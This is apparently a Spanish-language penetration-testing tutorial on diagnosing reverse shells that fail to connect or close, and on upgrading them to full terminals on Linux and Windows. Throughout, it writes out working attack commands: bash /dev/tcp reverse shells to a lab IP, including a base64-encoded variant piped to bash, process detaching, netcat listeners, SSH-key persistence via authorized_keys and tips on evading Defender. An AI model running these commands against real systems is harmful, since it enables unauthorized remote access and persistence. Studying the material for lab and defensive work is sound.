Reverse shell que no conecta o se cierra: cómo arreglarla
Por qué una reverse shell no llega, se corta al momento o muere con Ctrl+C, cómo diagnosticarlo paso a paso y cómo dejarla como una terminal completa en Linux y Windows.
Tienes ejecución de comandos y lanzas una reverse shell... y no pasa nada. O llega y se cierra al instante. O funciona, pulsas Ctrl+C por costumbre y la pierdes. Esta guía no es otra lista de comandos (para eso están el generador de reverse shells y la chuleta de TTY): es el método para saber por qué falla y arreglarlo.
1. Comprueba que tienes ejecución de verdad
Antes de culpar a la shell, demuestra que el comando se ejecuta con algo que tiene que llegarte:
sudo tcpdump -ni tun0 icmp # en tu máquina
ping -c 2 10.10.14.5 # lo que inyectas en la víctima
Si no llegan los ping, el problema está antes de la shell: la inyección no funciona, el comando se ejecuta en otro sitio o la máquina no tiene ping. Prueba con curl http://10.10.14.5/x o wget y mira el log de python3 -m http.server 80.
2. La conexión no llega
| Causa | Cómo saberlo | Solución |
|---|---|---|
| IP equivocada | ip a show tun0; usas la IP de la VPN, no la de tu red local |
Usa la de tun0 |
| Cortafuegos de salida | Llega el ping pero no TCP al 4444 | Escucha en 80, 443 o 53: suelen estar permitidos |
No hay bash ni nc -e |
which bash nc python3 perl (si ves la salida) |
Elige otra variante del generador |
/dev/tcp no funciona |
El comando lo ejecuta sh (dash), no bash |
Envuélvelo: bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1' |
| Caracteres que rompen la inyección | Espacios, &, > o comillas en una URL o JSON |
Codifícalo en base64 (ver abajo) |
El truco del base64 evita casi todos los problemas de caracteres:
echo -n 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1' | base64 -w0
# en la víctima:
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzQ0MyAwPiYx | base64 -d | bash
Truco
Si el base64 contiene + y lo mandas en una URL, se convertirá en espacio. Añade espacios al comando original hasta que desaparezcan, o codifica el + como %2b.
3. Llega y se cierra al momento
- El proceso padre muere: la web mata la petición al terminar o al agotar el tiempo, y con ella tu shell. Sepárala con
nohup,setsido un&final:setsid bash -c '...' &. - Windows y el antivirus: la conexión llega y Defender mata el proceso. Usa un payload menos conocido o una shell por SMB/WinRM en cuanto tengas credenciales (ver evasión de EDR).
- Staged vs stageless: un
windows/x64/shell/reverse_tcp(staged, con/) necesita el handler de Metasploit; conncusashell_reverse_tcp(stageless, con_).
4. Hacerla estable: una TTY completa en Linux
Una shell recién llegada no tiene terminal: Ctrl+C la mata, no hay flechas ni autocompletado, y sudo o su se quejan. Los tres pasos de siempre:
script /dev/null -c bash # o: python3 -c 'import pty; pty.spawn("bash")'
# Ctrl+Z
stty raw -echo; fg
# pulsa Intro y luego:
export TERM=xterm-256color; stty rows 45 columns 180
Los números de stty son los de tu terminal (stty size en otra pestaña). Si usas zsh en tu máquina, stty raw -echo; fg tiene que ir en la misma línea.
Si tienes SSH abierto, más simple aún: mete tu clave pública en ~/.ssh/authorized_keys del usuario y conéctate por SSH. Estable, con TTY y que sobrevive a reinicios del servicio.
5. Windows
En Windows no hay stty. Tres opciones, de menos a más cómoda:
rlwrap nc -lvnp 443: añade historial y flechas en tu lado.- ConPtyShell (
Invoke-ConPtyShell): una TTY de verdad en Windows 10/Server 2019 o posteriores; se escucha constty raw -echo; (stty size; cat) | nc -lvnp 443. - Con credenciales o hash, deja la reverse shell y entra con
evil-winrmo las herramientas de Impacket (ver movimiento lateral).
6. Pasar ficheros a la víctima
Con la shell estable, lo siguiente es subir herramientas (linpeas, winPEAS, chisel). La chuleta de transferencia de archivos tiene todas las variantes; si la víctima no ve tu IP directamente, monta un túnel como en port forwarding y pivoting.